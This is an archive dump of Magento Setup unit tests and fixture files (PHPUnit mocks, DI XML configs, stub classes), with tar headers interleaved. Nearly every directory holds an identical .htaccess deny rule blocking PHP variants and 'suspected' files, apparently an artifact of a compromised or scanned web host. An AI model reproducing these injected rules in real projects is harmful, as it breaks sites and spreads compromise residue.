$this->getMockBuilder(ModificationChain::class) ->disableOriginalConstructor() ->getMock(); } public function testDoOperationEmptyPath() { $areaOperation = new Area( $this->areaListMock, $this->areaInstancesNamesList, $this->configReaderMock, $this->configWriterMock, $this->configChain ); $this->assertNull($areaOperation->doOperation()); } public function testDoOperationGlobalArea() { $path = 'path/to/codebase/'; $arguments = ['class' => []]; $generatedConfig = [ 'arguments' => $arguments, 'preferences' => [], 'instanceTypes' => [] ]; $areaOperation = new Area( $this->areaListMock, $this->areaInstancesNamesList, $this->configReaderMock, $this->configWriterMock, $this->configChain, [$path] ); $this->areaListMock->expects($this->once()) ->method('getCodes') ->willReturn([]); $this->areaInstancesNamesList->expects($this->once()) ->method('getList') ->with($path) ->willReturn($arguments); $this->configReaderMock->expects($this->once()) ->method('generateCachePerScope') ->with( $this->isInstanceOf(Collection::class), App\Area::AREA_GLOBAL ) ->willReturn($generatedConfig); $this->configChain->expects($this->once()) ->method('modify') ->with($generatedConfig) ->willReturn($generatedConfig); $this->configWriterMock->expects($this->once()) ->method('write') ->with( App\Area::AREA_GLOBAL, $generatedConfig ); $areaOperation->doOperation(); } } Magento/Setup/Test/Unit/Module/Di/App/Task/InterceptionCacheTest.php000077700000004575151323623130021260 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\App\Task; use Magento\Framework\Interception\Config\Config; use Magento\Setup\Module\Di\App\Task\Operation\InterceptionCache; use Magento\Setup\Module\Di\Code\Reader\Decorator\Interceptions; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class InterceptionCacheTest extends TestCase { /** * @var MockObject|Config */ private $configMock; /** * @var MockObject|Interceptions */ private $interceptionsListMock; protected function setUp(): void { $this->configMock = $this->getMockBuilder(Config::class) ->setMethods([]) ->disableOriginalConstructor() ->getMock(); $this->interceptionsListMock = $this->getMockBuilder( Interceptions::class ) ->setMethods([]) ->disableOriginalConstructor() ->getMock(); } public function testDoOperationEmptyData() { $data = []; $operation = new InterceptionCache($this->configMock, $this->interceptionsListMock, $data); $this->configMock->expects($this->never()) ->method('initialize'); $this->assertNull($operation->doOperation()); } public function testDoOperationInitializeWithDefinitions() { $definitions = [ 'Library\Class', 'Application\Class', 'VarGeneration\Class', 'AppGeneration\Class' ]; $data = [ 'lib', 'app', 'generation', 'appgeneration' ]; $this->interceptionsListMock->expects($this->any()) ->method('getList') ->willReturnMap( [ ['lib', ['Library\Class']], ['app', ['Application\Class']], ['generation', ['VarGeneration\Class']], ['appgeneration', ['AppGeneration\Class']] ] ); $operation = new InterceptionCache($this->configMock, $this->interceptionsListMock, $data); $this->configMock->expects($this->once()) ->method('initialize') ->with($definitions); $this->assertNull($operation->doOperation()); } } Magento/Setup/Test/Unit/Module/Di/App/Task/ProxyGeneratorTest.php000077700000003660151323623130020653 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\App\Task; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Di\App\Task\Operation\ProxyGenerator; use Magento\Setup\Module\Di\Code\Scanner; use Magento\Setup\Module\Di\Code\Scanner\ConfigurationScanner; use Magento\Setup\Module\Di\Code\Scanner\XmlScanner; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ProxyGeneratorTest extends TestCase { /** * @var Scanner\XmlScanner|MockObject */ private $proxyScannerMock; /** * @var ConfigurationScanner|MockObject */ private $configurationScannerMock; /** * @var ProxyGenerator */ private $model; protected function setUp(): void { $this->proxyScannerMock = $this->getMockBuilder(XmlScanner::class) ->disableOriginalConstructor() ->getMock(); $this->configurationScannerMock = $this->getMockBuilder( ConfigurationScanner::class )->disableOriginalConstructor() ->getMock(); $objectManagerHelper = new ObjectManager($this); $this->model = $objectManagerHelper->getObject( ProxyGenerator::class, [ 'proxyScanner' => $this->proxyScannerMock, 'configurationScanner' => $this->configurationScannerMock, ] ); } public function testDoOperation() { $files = ['file1', 'file2']; $this->configurationScannerMock->expects($this->once()) ->method('scan') ->with('di.xml') ->willReturn($files); $this->proxyScannerMock->expects($this->once()) ->method('collectEntities') ->with($files) ->willReturn([]); $this->model->doOperation(); } } Magento/Setup/Test/Unit/Module/Di/App/Task/RepositoryGeneratorTest.php000077700000005233151323623130021707 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\App\Task; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Di\App\Task\Operation\RepositoryGenerator; use Magento\Setup\Module\Di\Code\Reader\ClassesScanner; use Magento\Setup\Module\Di\Code\Scanner; use Magento\Setup\Module\Di\Code\Scanner\ConfigurationScanner; use Magento\Setup\Module\Di\Code\Scanner\RepositoryScanner; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class RepositoryGeneratorTest extends TestCase { /** * @var Scanner\RepositoryScanner|MockObject */ private $repositoryScannerMock; /** * @var ClassesScanner|MockObject */ private $classesScannerMock; /** * @var ConfigurationScanner|MockObject */ private $configurationScannerMock; /** * @var RepositoryGenerator */ private $model; protected function setUp(): void { $this->repositoryScannerMock = $this->getMockBuilder(RepositoryScanner::class) ->disableOriginalConstructor() ->getMock(); $this->classesScannerMock = $this->getMockBuilder(ClassesScanner::class) ->disableOriginalConstructor() ->getMock(); $this->configurationScannerMock = $this->getMockBuilder( ConfigurationScanner::class )->disableOriginalConstructor() ->getMock(); $objectManagerHelper = new ObjectManager($this); $this->model = $objectManagerHelper->getObject( RepositoryGenerator::class, [ 'repositoryScanner' => $this->repositoryScannerMock, 'classesScanner' => $this->classesScannerMock, 'configurationScanner' => $this->configurationScannerMock, 'data' => ['paths' => ['path/to/app']] ] ); } public function testDoOperation() { $this->classesScannerMock->expects($this->once()) ->method('getList') ->with('path/to/app'); $this->repositoryScannerMock->expects($this->once()) ->method('setUseAutoload') ->with(false); $files = ['file1', 'file2']; $this->configurationScannerMock->expects($this->once()) ->method('scan') ->with('di.xml') ->willReturn($files); $this->repositoryScannerMock->expects($this->once()) ->method('collectEntities') ->with($files) ->willReturn([]); $this->model->doOperation(); } } Magento/Setup/Test/Unit/Module/Di/App/Task/OperationFactoryTest.php000077700000005310151323623130021145 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\App\Task; use Magento\Framework\ObjectManagerInterface; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Setup\Module\Di\App\Task\Operation\Area; use Magento\Setup\Module\Di\App\Task\Operation\Interception; use Magento\Setup\Module\Di\App\Task\Operation\InterceptionCache; use Magento\Setup\Module\Di\App\Task\OperationException; use Magento\Setup\Module\Di\App\Task\OperationFactory; use Magento\Setup\Module\Di\App\Task\OperationInterface; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class OperationFactoryTest extends TestCase { /** * @var OperationFactory */ private $factory; /** * @var ObjectManagerInterface|MockObject */ private $objectManagerMock; protected function setUp(): void { $this->objectManagerMock = $this->getMockBuilder(ObjectManagerInterface::class) ->setMethods([]) ->getMockForAbstractClass(); $objectManagerProviderMock = $this->createMock(ObjectManagerProvider::class); $objectManagerProviderMock->expects($this->once())->method('get')->willReturn($this->objectManagerMock); $this->factory = new OperationFactory( $objectManagerProviderMock ); } /** * @param string $alias * @param mixed $arguments * @dataProvider aliasesDataProvider */ public function testCreateSuccess($alias, $arguments, $instanceName) { $operationInstance = $this->getMockBuilder(OperationInterface::class) ->getMock(); $this->objectManagerMock->expects($this->once()) ->method('create') ->with($instanceName, ['data' => $arguments]) ->willReturn($operationInstance); $this->assertSame($operationInstance, $this->factory->create($alias, $arguments)); } public function testCreateException() { $notRegisteredOperation = 'coffee'; $this->expectException(OperationException::class); $this->expectExceptionMessage( sprintf('Unrecognized operation "%s"', $notRegisteredOperation) ); $this->factory->create($notRegisteredOperation); } /** * @return array */ public function aliasesDataProvider() { return [ [OperationFactory::AREA_CONFIG_GENERATOR, [], Area::class], [OperationFactory::INTERCEPTION, null, Interception::class], [ OperationFactory::INTERCEPTION_CACHE, 1, InterceptionCache::class ], ]; } } Magento/Setup/Test/Unit/Module/Di/App/Task/ApplicationCodeGeneratorTest.php000077700000006425151323623130022572 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\App\Task; use Magento\Setup\Module\Di\App\Task\Operation\ApplicationCodeGenerator; use Magento\Setup\Module\Di\Code\Reader\ClassesScanner; use Magento\Setup\Module\Di\Code\Scanner; use Magento\Setup\Module\Di\Code\Scanner\DirectoryScanner; use Magento\Setup\Module\Di\Code\Scanner\PhpScanner; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ApplicationCodeGeneratorTest extends TestCase { /** * @var Scanner\DirectoryScanner|MockObject */ private $directoryScannerMock; /** * @var Scanner\PhpScanner|MockObject */ private $phpScannerMock; /** * @var ClassesScanner|MockObject */ private $classesScannerMock; protected function setUp(): void { $this->directoryScannerMock = $this->getMockBuilder( DirectoryScanner::class )->disableOriginalConstructor() ->getMock(); $this->phpScannerMock = $this->getMockBuilder(PhpScanner::class) ->disableOriginalConstructor() ->getMock(); $this->classesScannerMock = $this->getMockBuilder(ClassesScanner::class) ->disableOriginalConstructor() ->getMock(); } /** * @param array $data * * @dataProvider doOperationWrongDataDataProvider */ public function testDoOperationWrongData($data) { $model = new ApplicationCodeGenerator( $this->classesScannerMock, $this->phpScannerMock, $this->directoryScannerMock, $data ); $this->classesScannerMock->expects($this->never()) ->method('getList'); $this->directoryScannerMock->expects($this->never()) ->method('scan'); $this->phpScannerMock->expects($this->never()) ->method('collectEntities'); $this->assertEmpty($model->doOperation()); } /** * @return array */ public function doOperationWrongDataDataProvider() { return [ [[]], [['filePatterns' => ['php' => '*.php']]], [['path' => 'path']], ]; } public function testDoOperation() { $data = [ 'paths' => ['path/to/app'], 'filePatterns' => ['php' => '.php'], 'excludePatterns' => ['/\/Test\//'] ]; $files = ['php' => []]; $model = new ApplicationCodeGenerator( $this->classesScannerMock, $this->phpScannerMock, $this->directoryScannerMock, $data ); $this->classesScannerMock->expects($this->once()) ->method('getList') ->with($data['paths'][0]); $this->directoryScannerMock->expects($this->once()) ->method('scan') ->with( $data['paths'][0], $data['filePatterns'], $data['excludePatterns'] )->willReturn($files); $this->phpScannerMock->expects($this->once()) ->method('collectEntities') ->with($files['php']) ->willReturn([]); $this->assertEmpty($model->doOperation()); } } Magento/Setup/Test/Unit/Module/Di/App/Task/ServiceDataAttributesGeneratorTest.php000077700000004135151323623130023771 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\App\Task; use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; use Magento\Setup\Module\Di\App\Task\Operation\ServiceDataAttributesGenerator; use Magento\Setup\Module\Di\Code\Scanner\ConfigurationScanner; use Magento\Setup\Module\Di\Code\Scanner\ServiceDataAttributesScanner; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ServiceDataAttributesGeneratorTest extends TestCase { /** * @var ConfigurationScanner|MockObject */ private $configurationScannerMock; /** * @var ServiceDataAttributesScanner|MockObject */ private $serviceDataAttributesScannerMock; /** * @var ServiceDataAttributesGenerator */ private $model; protected function setUp(): void { $this->configurationScannerMock = $this->getMockBuilder( ConfigurationScanner::class )->disableOriginalConstructor() ->getMock(); $this->serviceDataAttributesScannerMock = $this->getMockBuilder( ServiceDataAttributesScanner::class )->disableOriginalConstructor() ->getMock(); $objectManagerHelper = new ObjectManager($this); $this->model = $objectManagerHelper->getObject( ServiceDataAttributesGenerator::class, [ 'serviceDataAttributesScanner' => $this->serviceDataAttributesScannerMock, 'configurationScanner' => $this->configurationScannerMock, ] ); } public function testDoOperation() { $files = ['file1', 'file2']; $this->configurationScannerMock->expects($this->once()) ->method('scan') ->with('extension_attributes.xml') ->willReturn($files); $this->serviceDataAttributesScannerMock->expects($this->once()) ->method('collectEntities') ->with($files) ->willReturn([]); $this->model->doOperation(); } } Magento/Setup/Test/Unit/Module/Di/App/Task/.htaccess000077700000000177151323623130016110 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/App/.htaccess000077700000000177151323623130015206 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/additional.php000077700000000274151323623130016750 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); return ['Some_Model_Proxy', 'Some_Model_EntityFactory']; Magento/Setup/Test/Unit/Module/Di/_files/app/bootstrap.php000077700000000505151323623130017432 0ustar00<?php declare(strict_types=1); use Magento\Framework\TestFramework\Unit\Helper\ObjectManager; /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ $objectManager = new ObjectManager($this); $bootstrapFactory = $objectManager->getObject(\Magento\Bootstrap\ModelFactory::class); Magento/Setup/Test/Unit/Module/Di/_files/app/etc/additional.xml000077700000000237151323623130020313 0ustar00<?xml version='1.0' encoding="utf-8" ?> <!-- /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ --> <config /> Magento/Setup/Test/Unit/Module/Di/_files/app/etc/.htaccess000077700000000177151323623130017262 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/etc/di/.htaccess000077700000000177151323623130017656 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/etc/di/config.xml000077700000001677151323623130020055 0ustar00<?xml version='1.0' encoding="utf-8" ?> <!-- /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ --> <config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd"> <type name="Magento\Framework\App\Cache"> <arguments> <argument name="storeManager" xsi:type="object">customStoreManagerProxy</argument> </arguments> </type> <type name="Magento\Framework\App\Action\Context"> <arguments> <argument name="layoutFactory" xsi:type="object">customLayoutFactory</argument> </arguments> <plugin name="first" type="Magento\Store\Model\Action\Plugin" /> </type> <virtualType name="customStoreManagerProxy" type="Magento\Store\Model\StoreManager\Proxy" /> <virtualType name="customLayoutFactory" type="Magento\Framework\View\LayoutFactory" /> </config> Magento/Setup/Test/Unit/Module/Di/_files/app/etc/config.xml000077700000000465151323623130017453 0ustar00<?xml version='1.0' encoding="utf-8" ?> <!-- /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ --> <config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Store:etc/config.xsd"> </config> Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/ElementFactory.php000077700000001460151323623130024714 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\SomeModule; use Magento\Framework\ObjectManagerInterface; require_once __DIR__ . '/Element.php'; class ElementFactory { /** * @var ObjectManagerInterface */ protected $_objectManager; /** * @param ObjectManagerInterface $objectManager */ public function __construct(ObjectManagerInterface $objectManager) { $this->_objectManager = $objectManager; } /** * @param string $className * @param array $data * @return mixed */ public function create($className, array $data = []) { $instance = $this->_objectManager->create($className, $data); return $instance; } } Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/Api/Data/SomeInterface.php000077700000000656151323623130026107 0ustar00<?php /** * * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\SomeModule\Api\Data; use Magento\Framework\Api\CustomAttributesDataInterface; interface SomeInterface extends CustomAttributesDataInterface { /** * @return \Magento\Eav\Api\Data\AttributeExtensionInterface|null */ public function getExtensionAttributes(); } Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/Api/Data/.htaccess000077700000000177151323623130024446 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/Api/.htaccess000077700000000177151323623130023575 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/Model/DoubleColon.php000077700000000462151323623130025241 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\SomeModule\Model; class DoubleColon { public function __construct() { DoubleColon::class; } public function method() { } } Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/Model/Test.php000077700000001212151323623130023745 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\SomeModule\Model; /** * @SuppressWarnings(PHPMD.ConstructorWithNameAsEnclosingClass) */ class Test { public function __construct() { new \Magento\SomeModule\Model\Element\Proxy(); } /** * @param \Magento\SomeModule\ModelFactory $factory * @param array $data */ public function testModel(\Magento\SomeModule\ModelFactory $factory, array $data = []) { $factory->create(\Magento\SomeModule\Model\BlockFactory::class, ['data' => $data]); } } Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/Model/.htaccess000077700000000177151323623130024124 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/Model/StubWithAnonymousClass.php000077700000001305151323623130027422 0ustar00Magento<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\SomeModule\Model; use Magento\SomeModule\DummyFactory; class StubWithAnonymousClass { /** * @var DummyFactory */ private $factory; public function __construct(DummyFactory $factory) { $this->factory = $factory; } public function getSerializable(): \JsonSerializable { return new class() implements \JsonSerializable { /** * @inheritDoc */ public function jsonSerialize() { return [1, 2, 3]; } }; } } Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/view/frontend/default.xml000077700000000742151323623130026223 0ustar00<?xml version='1.0' encoding="utf-8" ?> <!-- /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ --> <layout xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:View/Layout/etc/page_layout.xsd"> <referenceBlock name="root"> <block class="Magento\Backend\Block\Menu\Proxy" name="menu" as="menu" template="Magento_Backend::menu.phtml" /> </referenceBlock> </layout> Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/view/frontend/.htaccess000077700000000177151323623130025655 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/view/.htaccess000077700000000177151323623130024036 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/etc/adminhtml/system.xml000077700000001650151323623130026061 0ustar00<?xml version="1.0"?> <!-- /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ --> <config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Config:etc/system_file.xsd"> <system> <section id="advanced" translate="label" type="text" sortOrder="910" showInDefault="1" showInWebsite="1" showInStore="1"> <label>Advanced</label> <tab>advanced</tab> <resource>Magento_Config::advanced</resource> <group id="modules_disable_output" translate="label" type="text" sortOrder="2" showInDefault="1" showInWebsite="1" showInStore="1"> <label>Disable Modules Output</label> <frontend_model>Magento\Config\Block\System\Config\Form\Fieldset\Modules\DisableOutput\Proxy</frontend_model> </group> </section> </system> </config> Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/etc/adminhtml/.htaccess000077700000000177151323623130025614 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/etc/source/PhpExt.php/content000077700000000724151323623130026732 0ustar00/** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ /** * This file exists for the sake of \Magento\Setup\Test\Unit\Module\Di\Code\Reader\ClassesScannerTest, in order * to verify that PHP files are correctly scanned and things that are not PHP files (like this file and its parent * directory) are not scanned. */ /** * True Function * * @return bool */ public function someTrueFunction() { return true; } Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/etc/source/.htaccess000077700000000177151323623130025137 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/etc/di.xml000077700000002111151323623130023145 0ustar00<?xml version='1.0' encoding="utf-8" ?> <!-- /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ --> <config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd"> <preference for="Magento\Store\Model\Config\InvalidatorInterface" type="Magento\Store\Model\Config\Invalidator\Proxy" /> <preference for="Magento\Framework\App\CacheInterface" type="Magento\Framework\App\Cache\Proxy" /> <virtualType name="custom_cache_instance" type="Magento\Framework\App\Cache"> <plugin name="tag" type="Magento\Framework\App\Cache\TagPlugin" /> </virtualType> <type name="Magento\SomeModule\Model\Test"> <arguments> <argument name="proxy" xsi:type="object">\Magento\SomeModule\Model\Element\Proxy</argument> <argument name="array" xsi:type="array"> <item name="proxy" xsi:type="object">\Magento\SomeModule\Model\Nested\Element\Proxy</item> </argument> </arguments> </type> </config> Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/etc/.htaccess000077700000000177151323623130023637 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/Helper/Test.php000077700000002526151323623130024135 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\SomeModule\Helper; use Magento\SomeModule\ElementFactory; /** * @SuppressWarnings(PHPMD.ConstructorWithNameAsEnclosingClass) */ class Test { /** * @var \Magento\SomeModule\ElementFactory\Proxy */ protected $_factory; /** * @var \Magento\SomeModule\Element\Factory */ protected $_elementFactory; /** * @var ElementFactory */ protected $_newElementFactory; /** * Test constructor. * @param \Magento\SomeModule\Module\Factory $factory * @param \Magento\SomeModule\Element\Factory $elementFactory * @param ElementFactory $rightElementFactory */ public function __construct( \Magento\SomeModule\Module\Factory $factory, \Magento\SomeModule\Element\Factory $elementFactory, ElementFactory $rightElementFactory ) { $this->_factory = $factory; $this->_elementFactory = $elementFactory; $this->_newElementFactory = $rightElementFactory; } /** * @param ElementFactory $factory * @param array $data */ public function testHelper(ElementFactory $factory, array $data = []) { $factory->create(ElementFactory::class, ['data' => $data]); } } Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/Helper/.htaccess000077700000000177151323623130024303 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/Element.php000077700000000264151323623130023365 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\SomeModule; class Element { } Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/SomeModule/.htaccess000077700000000177151323623130023064 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/code/Magento/.htaccess000077700000000177151323623130021013 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/code/.htaccess000077700000000177151323623130017421 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/.htaccess000077700000000177151323623130016507 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/design/adminhtml/default/backend/layout.xml000077700000000237151323623130025206 0ustar00<?xml version='1.0' encoding="utf-8" ?> <!-- /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ --> <config /> Magento/Setup/Test/Unit/Module/Di/_files/app/design/adminhtml/default/backend/.htaccess000077700000000177151323623130024750 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/design/adminhtml/default/.htaccess000077700000000177151323623130023361 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/design/adminhtml/.htaccess000077700000000177151323623130021735 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/app/design/.htaccess000077700000000177151323623130017760 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/var/generation/.keep000077700000000000151323623130017762 0ustar00Magento/Setup/Test/Unit/Module/Di/_files/var/generation/.htaccess000077700000000177151323623130020652 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/var/.htaccess000077700000000177151323623130016517 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/_files/extension_attributes.xml000077700000001252151323623130021130 0ustar00<?xml version="1.0"?> <!-- /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ --> <config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:Api/etc/extension_attributes.xsd"> <extension_attributes for="Magento\Sales\Api\Data\OrderInterface"> <attribute code="gift_message" type="Magento\GiftMessage\Api\Data\MessageInterface" /> </extension_attributes> <extension_attributes for="Magento\Sales\Api\Data\OrderItemInterface"> <attribute code="gift_message" type="Magento\GiftMessage\Api\Data\MessageInterface" /> </extension_attributes> </config> Magento/Setup/Test/Unit/Module/Di/_files/.htaccess000077700000000177151323623130015727 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Module/Di/Code/Reader/ClassReaderDecoratorTest.php000077700000004214151323623130022344 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Module\Di\Code\Reader; use Magento\Framework\Code\Reader\ClassReader; use Magento\Setup\Module\Di\Code\Reader\ClassReaderDecorator; use Magento\Setup\Module\Di\Compiler\ConstructorArgument; use PHPUnit\Framework\MockObject\MockObject; use 